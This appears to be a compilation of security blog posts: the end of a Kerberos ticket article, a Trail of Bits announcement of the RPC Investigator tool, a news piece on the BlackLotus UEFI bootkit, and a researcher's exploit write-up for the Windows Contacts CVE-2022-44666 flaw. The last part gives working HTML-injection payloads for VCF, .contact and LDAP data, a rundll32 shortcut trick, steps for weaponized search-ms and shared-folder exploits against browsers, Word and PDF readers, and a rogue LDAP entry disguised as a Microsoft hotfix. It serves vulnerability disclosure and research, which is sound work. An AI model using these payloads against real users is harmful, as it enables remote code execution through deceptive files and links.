For Red teams, the ability to blend in with normal operations is a high priority. While it may not be possible to completely emulate normal behavior, such as using a Silver Ticket when the KRBTGT key is not available, understanding what Blue teams may look for to definitively determine malicious activity will always be beneficial.

Ultimately, all of us are working to improve security in a positive way, and that happens best when everyone has more information about how everything works.

5    ACKNOWLEDGEMENTS

A special thank you to the following individuals for helping review this post:

Elad Shamir (@elad_shamir)

Carlos Perez (@Carlos_Perez)

Julie Daymut

Megan Nielsen (@mega_spl0it)

Roza Maille

Jessica Sheneman


[1]. Technically, there is also Auth Time. Most often, Start Time and Auth Time are the same. For simplicity, we will not focus on Auth Time. If there is an Auth Time that is vastly different from the Start Time, the ticket will likely be issued for the future, in which case the Start Time of the ticket is the time from which when the End and Renew Times are calculated.

[2]. Keep in mind the ticket must be renewed before the End Time.

Introducing RPC Investigator

Introducing RPC Investigator

Original text by Aaron LeMasters

Trail of Bits is releasing a new tool for exploring RPC clients and servers on Windows. RPC Investigator is a .NET application that builds on the NtApiDotNet platform for enumerating, decompiling/parsing and communicating with arbitrary RPC servers. We’ve added visualization and additional features that offer a new way to explore RPC.

RPC is an important communication mechanism in Windows, not only because of the flexibility and convenience it provides software developers but also because of the renowned attack surface its implementers afford to exploit developers. While there has been extensive research published related to RPC servers, interfaces, and protocols, we feel there’s always room for additional tooling to make it easier for security practitioners to explore and understand this prolific communication technology.

Below, we’ll cover some of the background research in this space, describe the features of RPC Investigator in more detail, and discuss future tool development.

If you prefer to go straight to the code, check out RPC Investigator on Github.

Background

Microsoft Remote Procedure Call (MSRPC) is a prevalent communication mechanism that provides an extensible framework for defining server/client interfaces. MSRPC is involved on some level in nearly every activity that you can take on a Windows system, from logging in to your laptop to opening a file. For this reason alone, it has been a popular research target in both the defensive and offensive infosec communities for decades.

A few years ago, the developer of the open source .NET library NtApiDotNet, James Foreshaw, updated his library with functionality for decompiling, constructing clients for, and interacting with arbitrary RPC servers. In an excellent blog post—focusing on using the new 

NtApiDotNet
 functionality via powershell scripts and cmdlets in his 
NtObjectManager
 package—he included a small section on how to use the powershell scripts to generate C# code for an RPC client that would work with a given RPC server and then compile that code into a C# application.

We built on this concept in developing RPC Investigator (RPCI), a .NET/C# Windows Forms UI application that provides a visual interface into the existing core RPC capabilities of the 

NtApiDotNet
 platform:

  • Enumerating all active ALPC RPC servers
  • Parsing RPC servers from any PE file
  • Parsing RPC servers from processes and their loaded modules, including services
  • Integration of symbol servers
  • Exporting server definitions as serialized .NET objects for your own scripting

Beyond visualizing these core features, RPCI provides additional capabilities:

  • The Client Workbench allows you to create and execute an RPC client binary on the fly by right-clicking on an RPC server of interest. The workbench has a C# code editor pane that allows you to edit the client in real time and observe results from RPC procedures executed in your code.
  • Discovered RPC servers are organized into a library with a customizable search interface, allowing you to pivot RPC server data in useful ways, such as by searching through all RPC procedures for all servers for interesting routines.
  • The RPC Sniffer tool adds visibility into RPC-related Event Tracing for Windows (ETW) data to provide a near real-time view of active RPC calls. By combining ETW data with RPC server data from 
    NtApiDotNet
    , we can build a more complete picture of ongoing RPC activity.

Features

Disclaimer: Please exercise caution whenever interacting with system services. It is possible to corrupt the system state or cause a system crash if RPCI is not used correctly.

Prerequisites and System Requirements

Currently, RPCI requires the following:

By default, RPCI will automatically discover the Debugging Tools for Windows installation directory and configure itself to use the public Windows symbol server. You can modify these settings by clicking 

Edit -&gt; Settings
. In the Settings dialog, you can specify the path to the debugging tools DLL (dbghelp.dll) and customize the symbol server and local symbol directory if needed (for example, you can specify the path 
srv*c:\symbols*https://msdl.microsoft.com/download/symbols
).

If you want to observe the debug output that is written to the RPCI log, set the appropriate trace level in the Settings window. The RPCI log and all other related files are written to the current user’s application data folder, which is typically 

C:\Users\(user)\AppData\Roaming\RpcInvestigator
. To view this folder, simply navigate to 
View -&gt; Logs
. However, we recommend disabling tracing to improve performance.

It’s important to note that the bitness of RPCI must match that of the system: if you run 32-bit RPCI on a 64-bit system, only RPC servers hosted in 32-bit processes or binaries will be accessible (which is most likely none).

Searching for RPC servers

The first thing you’ll want to do is find the RPC servers that are running on your system. The most straightforward way to do this is to query the RPC endpoint mapper, a persistent service provided by the operating system. Because most local RPC servers are actually ALPC servers, this query is exposed via the 

File -> All RPC ALPC Servers…
 menu item.

The discovered servers are listed in a table view according to the hosting process, as shown in the screenshot above. This table view is one starting point for navigating RPC servers in RPCI. Double-clicking a particular server will open another tab that lists all endpoints and their corresponding interface IDs. Double-clicking an endpoint will open another tab that lists all procedures that can be invoked on that endpoint’s interface. Right-clicking on an endpoint will open a context menu that presents other useful shortcuts, one of which is to create a new client to connect to this endpoint’s interface. We’ll describe that feature in a later section.

You can locate other RPC servers that are not running (or are not ALPC) by parsing the server’s image by selecting 

File -&gt; Load from binary…
 and locating the image on disk, or by selecting 
File-&gt;Load from service…
 and selecting the service of interest (this will parse all servers in all modules loaded in the service process).

Exploring the Library

The other starting point for navigating RPC servers is to load the library view. The library is a file containing serialized .NET objects for every RPC server you have discovered while using RPCI. Simply select the menu item 

Library -> Servers
 to view all discovered RPC servers and 
Library -> Procedures
 to view all discovered procedures for all server interfaces. Both menu items will open in new tabs. To perform a quick keyword search in either tab, simply right-click on any row and type a search term into the textbox. The screenshot below shows a keyword search for “()” to quickly view procedures that have zero arguments, which are useful starting points for experimenting with an interface.

The first time you run RPCI, the library needs to be seeded. To do this, navigate to 

Library -&gt; Refresh
, and RPCI will attempt to parse RPC servers from all modules loaded in all processes that have a registered ALPC server. Note that this process could take quite a while and use several hundred megabytes of memory; this is because there are thousands of such modules, and during this process the binaries are re-mapped into memory and the public Microsoft symbol server is consulted. To make matters worse, the Dbghelp API is single-threaded and I suspect Microsoft’s public symbol server has rate-limiting logic.

You can periodically refresh the database to capture any new servers. The refresh operation will only add newly-discovered servers. If you need to rebuild the library from scratch (for example, because your symbols were wrong), you can either erase it using the menu item 

Library -&gt; Erase
 or manually delete the database file (
rpcserver.db
) inside the current user’s roaming application data folder. Note that RPC servers that are discovered by using the 
File -&gt; Load from binary…
 and 
File -&gt; Load from service…
 menu items are automatically added to the library.

You can also export the entire library as text by selecting 

Library -&gt; Export as Text
.

Creating a New RPC Client

One of the most powerful features of RPCI is the ability to dynamically interact with an RPC server of interest that is actively running. This is accomplished by creating a new client in the Client Workbench window. To open the Client Workbench window, right-click on the server of interest from the library servers or procedures tab and select 

New Client
.

The workbench window is organized into three panes:

  • Static RPC server information
  • A textbox containing dynamic client output
  • A tab control containing client code and procedures tabs

The client code tab contains C# source code for the RPC client that was generated by 

NtApiDotNet
. The code has been modified to include a “Run” function, which is the “entry point” for the client. The procedures tab is a shortcut reference to the routines that are available in the selected RPC server interface, as the source code can be cumbersome to browse (something we are working to improve!).

The process for generating and running the client is simple:

  • Modify the “Run” function to call one or more of the procedures exposed on the RPC server interface; you can print the result if needed.
  • Click the “Run” button.
  • Observe any output produced by “Run”

In the screenshot above, I picked the “Host Network Service” RPC server because it exposes some procedures whose names imply interesting administrator capabilities. With a few function calls to the RPC endpoint, I was able to interact with the service to dump the name of what appears to be a default virtual network related to Azure container isolation.

Sniffing RPC Traffic with ETW Data

Another useful feature of RPCI is that it provides visibility into RPC-related ETW data. ETW is a diagnostic capability built into the operating system. Many years ago ETW was very rudimentary, but since the Endpoint Detection and Response (EDR) market exploded in the last decade, Microsoft has evolved ETW into an extremely rich source of information about what’s going on in the system. The gist of how ETW works is that an ETW provider (typically a service or an operating system component) emits well-structured data in “event” packets and an application can consume those events to diagnose performance issues.

RPCI registers as a consumer of such events from the Microsoft-RPC (MSRPC) ETW provider and displays those events in real time in either table or graph format. To start the RPC Sniffer tool, navigate to 

Tools -&gt; RPC Sniffer…
 and click the “play” button in the toolbar. Both the table and graph will be updated every few seconds as events begin to arrive.

The events emitted by the MSRPC provider are fairly simple. The events record the results of RPC calls between a client and server in RpcClientCall and RpcServerCall start and stop task pairs. The start events contain detailed information about the RPC server interface, such as the protocol, procedure number, options, and authentication used in the call. The stop events are typically less interesting but do include a status code. By correlating the call start/stop events between a particular RPC server and the requesting process, we can begin to make sense of the operations that are in progress on the system. In the table view, it’s easier to see these event pairs when the ETW data is grouped by ActivityId (click the “Group” button in the toolbar), as shown below.

The data can be overwhelming, because ETW is fairly noisy by design, but the graph view can help you wade through the noise. To use the graph view, simply click the “Node” button in the toolbar at any time during the trace. To switch back to the table view, click the “Node” button again.

A long-running trace will produce a busy graph like the one above. You can pan, zoom, and change the graph layout type to help drill into interesting server activity. We are exploring additional ways to improve this visualization!

In the zoomed-in screenshot above, we can see individual service processes that are interacting with system services such as Base Filtering Engine (BFE, the Windows Defender firewall service), NSI, and LSASS.

Here are some other helpful tips to keep in mind when using the RPC Sniffer tool:

  • Keep RPCI diagnostic tracing disabled in Settings.
  • Do not enable ETW debug events; these produce a lot of noise and can exhaust process memory after a few minutes.
  • For optimum performance, use a release build of RPCI.
  • Consider docking the main window adjacent to the sniffer window so that you can navigate between ETW data and library data (right-click on a table row and select 
    Open in library
     or click on any RPC node while in the graph view).
  • Remember that the graph view will refresh every few seconds, which might cause you to lose your place if you are zooming and panning. The best use of the graph view is to take a capture for a fixed time window and explore the graph after the capture has been stopped.

What’s Next?

We plan to accomplish the following as we continue developing RPCI:

  • Improve the code editor in the Client Workbench
  • Improve the autogeneration of names so that they are more intuitive
  • Introduce more developer-friendly coding features
  • Improve the coverage of RPC/ALPC servers that are not registered with the endpoint mapper
  • Introduce an automated ALPC port connector/scanner
  • Improve the search experience
  • Extend the graph view to be more interactive

Related Research and Further Reading

Because MSRPC has been a popular research topic for well over a decade, there are too many related resources and research efforts to name here. We’ve listed a few below that we encountered while building this tool:

If you would like to see the source code for other related RPC tools, we’ve listed a few below:

If you’re unfamiliar with RPC internals or need a technical refresher, we recommend checking out one of the authoritative sources on the topic, Alex Ionescu’s 2014 SyScan talk in Singapore, “All about the RPC, LRPC, ALPC, and LPC in your PC.”

BlackLotus Becomes First UEFI Bootkit Malware to Bypass Secure Boot on Windows 11

BlackLotus Becomes First UEFI Bootkit Malware to Bypass Secure Boot on Windows 11

Original text by Ravie Lakshmanan

A stealthy Unified Extensible Firmware Interface (UEFI) bootkit called BlackLotus has become the first publicly known malware capable of bypassing Secure Boot defenses, making it a potent threat in the cyber landscape.

«This bootkit can run even on fully up-to-date Windows 11 systems with UEFI Secure Boot enabled,» Slovak cybersecurity company ESET said in a report shared with The Hacker News.

UEFI bootkits are deployed in the system firmware and allow full control over the operating system (OS) boot process, thereby making it possible to disable OS-level security mechanisms and deploy arbitrary payloads during startup with high privileges.

Offered for sale at $5,000 (and $200 per new subsequent version), the powerful and persistent toolkit is programmed in Assembly and C and is 80 kilobytes in size. It also features geofencing capabilities to avoid infecting computers in Armenia, Belarus, Kazakhstan, Moldova, Romania, Russia, and Ukraine.

Details about BlackLotus first emerged in October 2022, with Kaspersky security researcher Sergey Lozhkin describing it as a sophisticated crimeware solution.

«This represents a bit of a ‘leap’ forward, in terms of ease of use, scalability, accessibility, and most importantly, the potential for much more impact in the forms of persistence, evasion, and/or destruction,» Eclypsium’s Scott Scheferman noted.

BlackLotus, in a nutshell, exploits a security flaw tracked as CVE-2022-21894 (aka Baton Drop) to get around UEFI Secure Boot protections and set up persistence. The vulnerability was addressed by Microsoft as part of its January 2022 Patch Tuesday update.

A successful exploitation of the vulnerability, according to ESET, allows arbitrary code execution during early boot phases, permitting a threat actor to carry out malicious actions on a system with UEFI Secure Boot enabled without having physical access to it.

«This is the first publicly known, in-the-wild abuse of this vulnerability,» ESET researcher Martin Smolár said. «Its exploitation is still possible as the affected, validly signed binaries have still not been added to the UEFI revocation list

«BlackLotus takes advantage of this, bringing its own copies of legitimate – but vulnerable – binaries to the system in order to exploit the vulnerability,» effectively paving the way for Bring Your Own Vulnerable Driver (BYOVD) attacks.

Besides being equipped to turn off security mechanisms like BitLocker, Hypervisor-protected Code Integrity (HVCI), and Windows Defender, it’s also engineered to drop a kernel driver and an HTTP downloader that communicates with a command-and-control (C2) server to retrieve additional user-mode or kernel-mode malware.

The exact modus operandi used to deploy the bootkit is unknown as yet, but it starts with an installer component that’s responsible for writing the files to the EFI system partition, disabling HVCI and BitLocker, and then rebooting the host.

The restart is followed by the weaponization of CVE-2022-21894 to achieve persistence and install the bootkit, after which it is automatically executed on every system start to deploy the kernel driver.

While the driver is tasked with launching the user-mode HTTP downloader and running next-stage kernel-mode payloads, the latter is capable of executing commands received from the C2 server over HTTPS.

This includes downloading and executing a kernel driver, DLL, or a regular executable; fetching bootkit updates, and even uninstalling the bootkit from the infected system.

«Many critical vulnerabilities affecting security of UEFI systems have been discovered in the last few years,» Smolár said. «Unfortunately, due the complexity of the whole UEFI ecosystem and related supply-chain problems, many of these vulnerabilities have left many systems vulnerable even a long time after the vulnerabilities have been fixed – or at least after we were told they were fixed.»

«It was just a matter of time before someone would take advantage of these failures and create a UEFI bootkit capable of operating on systems with UEFI Secure Boot enabled.»

Microsoft Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability (CVE-2022-44666) (0day).

Microsoft Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability (CVE-2022-44666) (0day).

Original text by j00sean

This is the story about another forgotten 0day fully disclosed more than 4 years ago by John Page (aka hyp3rlinx). To understand the report, you have to consider i’m stupid 🙂 And my stupidicity drives me to take longer paths to solve simple issues, but it also leads me to figure out another ways to exploit some bugs. Why do i say this? Because i was unable to quickly understand that the way to create a .contact file is just browsing to Contact folder in order to create the contact, instead of that, i used this info to first create a VCF file and then, i wrongly thought that this was some type of variant. That was also because of my brain can’t understand some 0days are forgotten for so long time ¯\(ツ)/¯ Once done that and after the «wontfix» replies by MSRC and ZDI, further investigations were made to increase the severity, finally reaching out .contact files and windows url protocol handler «ldap».

Details

  • Vendor: Microsoft.
  • App: Microsoft Windows Contacts.
  • Version: 10.0.19044.1826.
  • Tested systems: Windows 10 & Windows 11.
  • Tested system versions: Microsoft Windows [Version 10.0.19044.1826] & Microsoft Windows [Version 10.0.22000.795]

Intro

While i was reading the exploit code for this vulnerability which was actually released as 0day and it’s possible to find ZDI’s report.

Update 2022/07/21: After reporting this case to MS, MSRC’s folks rightly pointed me out Windows Contacts isn’t the default program to open VCF files.

Further research still demonstrates the default program for VCF files on Win7 ESU & WinServer2019 is Windows Contacts (wab.exe), otherwise MS People (PeopleApp.exe) is used. Here is a full table of this testing:

  • Windows 7: Default program for VCF files is Windows Contacts (wab.exe).
  • Windows Server 2019: Default program for VCF files is Windows Contacts (wab.exe).
  • Windows 10: Default program for VCF files is MS People (PeopleApp.exe).
  • Windows 10 + MS Office: Default program for VCF files is MS Outlook (outlook.exe).
  • Windows 11: Default program for VCF files is MS People (PeopleApp.exe).

Anyway they still argue there’s some social engineering involved such as opening a crafted VCF file and clicking on some links to exploit the bug so doesn’t meet the MSRC bug bar for a security update.

Update 2022/07/25: Well, after further research, it’s the same bug. I’ve been finally able to find a .contact proof of concept. It’s actually possible to correctly parse a .contact file using HTML entities. Note this solves the previous issue (Update 2022/07/21) and this file format (.contact) is opened by Windows Contacts, default program for this file extension, even when MS Office is installed in the system. It just needs a first file association if hasn’t yet been done, but the only program installed by default to do that is Windows Contacts.

Update 2022/07/25: This further research made me to reach a point that i was trying to reach some time ago: Use some URL protocol handler to automatically open crafted contact data to exploit the bug. I was finally able to get it working thanks to ldap uri scheme, which is associated by default to Windows Contacts application, so just setting a rogue LDAP server up and serving the payload data under mail, url or wwwhomepage attributes, the exploiting impact is increased because now it’s not needed to double click a malicious VCF/Contact file, we can deliver this using url protocols.

Update 2023/02/08: As a gesture of goodwill by MSRC, John Page (aka hyp3rlinx) has been included in the acknowledgement page for CVE-2022-44666 discovery.

Description

The report basically is the same than above links, however i’ve improved a bit the social engineering involved. In fact, the first thing that i made was to improve the way the links are seen, just like it were a XSS vulnerability, it’s actually an HTML injection so it’s possible to close the first anchor element and insert a new one. Then, i wanted to remove the visibility for those HTML elements so just setting as long «innerHTML» as possible would be enough to hide them (because of there are char limits).

This is the final payload used:

URL;WORK:"></a><a href="notepad">CLICKMEEEEE...</a>

To watch what happens, run procmon and setup a fake target of href attribute like this:

URL;WORK:"></a><a href="foo.exe">CLICKMEEEEE...</a>

Once clicked the link, an output like this is observed in procmon:

This is the stacktrace for the first «CreateFile» operation:

0	FLTMGR.SYS	FltpPerformPreCallbacksWorker + 0x36c	0xfffff806675a666c	C:\WINDOWS\System32\drivers\FLTMGR.SYS
1	FLTMGR.SYS	FltpPassThroughInternal + 0xca	0xfffff806675a611a	C:\WINDOWS\System32\drivers\FLTMGR.SYS
2	FLTMGR.SYS	FltpCreate + 0x310	0xfffff806675dc0c0	C:\WINDOWS\System32\drivers\FLTMGR.SYS
3	ntoskrnl.exe	IofCallDriver + 0x55	0xfffff8066904e565	C:\WINDOWS\system32\ntoskrnl.exe
4	ntoskrnl.exe	IoCallDriverWithTracing + 0x34	0xfffff8066909c224	C:\WINDOWS\system32\ntoskrnl.exe
5	ntoskrnl.exe	IopParseDevice + 0x117d	0xfffff806694256bd	C:\WINDOWS\system32\ntoskrnl.exe
6	ntoskrnl.exe	ObpLookupObjectName + 0x3fe	0xfffff8066941329e	C:\WINDOWS\system32\ntoskrnl.exe
7	ntoskrnl.exe	ObOpenObjectByNameEx + 0x1fa	0xfffff806694355fa	C:\WINDOWS\system32\ntoskrnl.exe
8	ntoskrnl.exe	NtQueryAttributesFile + 0x1c5	0xfffff80669501125	C:\WINDOWS\system32\ntoskrnl.exe
9	ntoskrnl.exe	KiSystemServiceCopyEnd + 0x25	0xfffff806692097b5	C:\WINDOWS\system32\ntoskrnl.exe
10	ntdll.dll	NtQueryAttributesFile + 0x14	0x7ff8f0aed4e4	C:\Windows\System32\ntdll.dll
11	KernelBase.dll	GetFileAttributesW + 0x85	0x7ff8ee19c045	C:\Windows\System32\KernelBase.dll
12	shlwapi.dll	PathFileExistsAndAttributesW + 0x5a	0x7ff8ef20212a	C:\Windows\System32\shlwapi.dll
13	shlwapi.dll	PathFileExistsDefExtAndAttributesW + 0xa1	0x7ff8ef2022b1	C:\Windows\System32\shlwapi.dll
14	shlwapi.dll	PathFileExistsDefExtW + 0x3f	0x7ff8ef2021ef	C:\Windows\System32\shlwapi.dll
15	shlwapi.dll	PathFindOnPathExW + 0x2f7	0x7ff8ef201f77	C:\Windows\System32\shlwapi.dll
16	shell32.dll	PathResolve + 0x154	0x7ff8eebb0954	C:\Windows\System32\shell32.dll
17	shell32.dll	CShellExecute::QualifyFileIfNeeded + 0x105	0x7ff8eebb05c9	C:\Windows\System32\shell32.dll
18	shell32.dll	CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e	0x7ff8eeb1e422	C:\Windows\System32\shell32.dll
19	shell32.dll	CShellExecute::_DoExecute + 0x6d	0x7ff8eeb1e1cd	C:\Windows\System32\shell32.dll
20	shell32.dll	<lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d	0x7ff8eeb09fed	C:\Windows\System32\shell32.dll
21	SHCore.dll	_WrapperThreadProc + 0xe9	0x7ff8f098bf69	C:\Windows\System32\SHCore.dll
22	kernel32.dll	BaseThreadInitThunk + 0x14	0x7ff8f07e7034	C:\Windows\System32\kernel32.dll
23	ntdll.dll	RtlUserThreadStart + 0x21	0x7ff8f0aa2651	C:\Windows\System32\ntdll.dll

Setting a breakpoint in Shell32!ShellExecuteExW, we can have a clearer picture of the functions involved:

CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000   wab.exe 
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410      mov     qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

And the involved pseudo-code is the next:

_int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4)
{

...

      default:
        if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
          SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
        break;
    }
  }
  return 1i64;
}


__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3)
{
  const unsigned __int16 *v3; // rbx
  HWND v4; // rdi
  unsigned int v5; // ebx
  BOOL v6; // ebx
  __int64 v7; // rdx
  OLECHAR *v8; // rax
  signed int v10; // eax
  DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h]
  SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h]
  OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]

  v3 = a3;
  v4 = a1;
  memset_0(Dst, 0, 0x1048ui64);
  pcchCanonicalized = 2084;
  v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0);
  if ( (v5 & 0x80000000) == 0 )
  {
    v6 = UrlIsW(Dst, URLIS_FILEURL);
  pExecInfo.hProcess = 0i64;
      pExecInfo.hwnd = 0i64;
      pExecInfo.lpVerb = 0i64;
      _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64);
      *(_OWORD *)&pExecInfo.hInstApp = 0i64;
      *(_OWORD *)&pExecInfo.lpClass = 0i64;
      *(_OWORD *)&pExecInfo.dwHotKey = 0i64;
      if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE
      {
        v10 = GetLastError();
        v5 = (unsigned __int16)v10 | 0x80070000;
        if ( v10 <= 0 )
          v5 = v10;
      }
  }
  ...
}

After this, it’s clear the issue actually involves SysLink controls in comctl32.dll library and how the href attribute is parsed by wab32.dll library.

It isn’t possible to use remote shared locations or webdavs to exploit this.

URL;WORK:"></a><a href="\\127.0.0.1@80\test\payload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="\\vboxsvr\test\payload.exe">CLICKMEEEEE...</a>

The file info is queried but is never executed.

It’s possible to use relative paths such as:

URL;WORK:"></a><a href="foo\foo.exe">CLICKMEEEEE...</a>

Example:

URL;WORK:"></a><a href="hidden\payload.exe">CLICKMEEEEE...</a>

Just going further and while testing rundll32 as attack vector, just noticed it was not possible to use arguments with the payload executable selected. However using a lnk file which targets a chosen executable, it was possible to use cmdline arguments. It’s a bit tricky but it works.

URL;WORK:"></a><a href="hidden\run.lnk">CLICKMEEEEE...</a>

Target of run.lnk:

rundll32.exe hidden\payload.bin,Foo"

This looks more interesting because it’s not needed to drop an executable in the target system.

Impact

Remote Code Execution as the current user logged.

Proofs of Concept

It has to exist file association to use Windows Contacts to open .vcf files.

Update 2021/07/25: For Contact files (.contact) there is only one application to open them by default: Windows Contacts, even when MS Office is installed in the target system.

Using files located in ./report-pocs/:

  1. Double-click the file exploit.vcf (Update 2021/07/25: Or double-click the file exploit.contact).
  2. Do single click in one of «click-me» links.
  3. It launches notepad.exe using different ways to execution:
    • 3.1. Link 1: Run .lnk file that triggers rundll32 with a crafted library.
    • 3.2. Link 2: This triggers the execution of an executable located in folder «hidden» as a local path.
    • 3.3. Link 3: Directly.

There are a couple of videos attached in ./videos:

/videos/full-payload.gif: This is a more complex example which downloads a zip file that allows to trigger all the payloads.

This is a summary of the proof of concept files located in ./report-pocs/:

And files located in ./src:

  • dllmain.cpp: DLL library used as payload (payload.bin).
  • payload.cpp: Executable used as payload (payload.exe).

Further exploitation

For further exploitation and as the vulnerability doesn’t allow to load remote shared location files, uri protocol «search-ms» is an interesting vector. You’ll find proofs of concept which only trigger a local binary like calc or notepad and more complex proofs of concept that i’ve named as weaponized exploit, because of they don’t execute local files. These pocs & exploits are located in ./further-pocs/.

This is a summary of target applications:

In order to reproduce:

  1. Setup a remote shared location (SMB or WebDav). Copy content of ./further-pocs/to-copy-in-remote-shared-location/ into it.
  2. If wanted, hide the files running ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat.
  3. Modify file exploit.html/poc.html located in ./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ to point to your remote shared location.
  4. Start a webserver in the target app path, that is: ./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/.
  5. Run poc/exploit files depending on the case.
  6. For further info, watch the videos located in ./videos:

6.2. Exploit for browsers: ./videos/browsers-exploit.gif.

6.3. PoC for MS Word: ./videos/msword-poc.gif.

6.4. Exploit for MS Word: ./videos/msword-exploit.gif.

6.5. PoC for PDF Readers: ./videos/pdfreaders-poc.gif.

6.6. Exploit for PDF Readers: ./videos/pdfreaders-exploit.gif.

Additionally, these are all the files for further exploitation:

Contact Files

After receiving Update 2022/07/21 from MSRC’s, i decided to take a look into Contact file extension as it would confirm whether or not it’s the same case as that found by the original discoverer, and of course it is. My first proof of concept was just using a different file format, but the bug is the same. Just using wabmig.exe located in «C:\Program Files\Windows Mail» is possible to convert all the VCF files to Contact files.

And as mentioned in the intro updates, these files are opened by Windows Contacts (default program).

The steps to reproduce are the same than those used for VCF files. Same restrictions observed on VCF files are applied with Contact files, that is, it’s not possible to use remote shared locations for the attribute «href» but it’s still possible to use local paths or url protocol «search-ms».

These are all the files added or modified to exploit Contact files:

URL protocol LDAP

As mentioned above, this further research made me to reach a point that i was trying to reach some time ago: Use some URL protocol handler to automatically open crafted contact data to exploit the bug. This challenge was finally achieved thanks to ldap uri scheme.

...
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\LDAP]
@="URL:LDAP Protocol"
"EditFlags"=hex:02,00,00,00
"URL Protocol"=""

[HKEY_CLASSES_ROOT\LDAP\Clsid]
@="{228D9A81-C302-11cf-9AA4-00AA004A5691}"

[HKEY_CLASSES_ROOT\LDAP\shell]

[HKEY_CLASSES_ROOT\LDAP\shell\open]

[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,\
  00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,\
  4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,\
  00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...

That is:

"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

So just setting a rogue LDAP server up and serving the payload data, it’s possible to use this url protocol handler to launch Windows Contacts (wab.exe) with a malicious payload in the ldif attributes mail, url or wwwhomepage. Note that i was unable to do this working on the attribute «wwwhomepage» as indicated here, but it should theorically work.

The crafted ldif content is just something like this:

...
dn: dc=org
dc: org
objectClass: dcObject

dn: dc=example,dc=org
dc: example
objectClass: dcObject
objectClass: organization

dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people

dn: cn=Microsoft,ou=people,dc=example,dc=org
cn: Microsoft
gn: Microsoft
company: Microsoft
title: Microsoft KB5001337-hotfix
mail:"></a><a href="..\hidden\payload.lnk">Run-installer...</a>
url:"></a><a href="..\hidden\payload.exe">Run-installer...</a>
wwwhomepage:"></a><a href="notepad">Run-installer...</a>
objectclass: top
objectclass: person
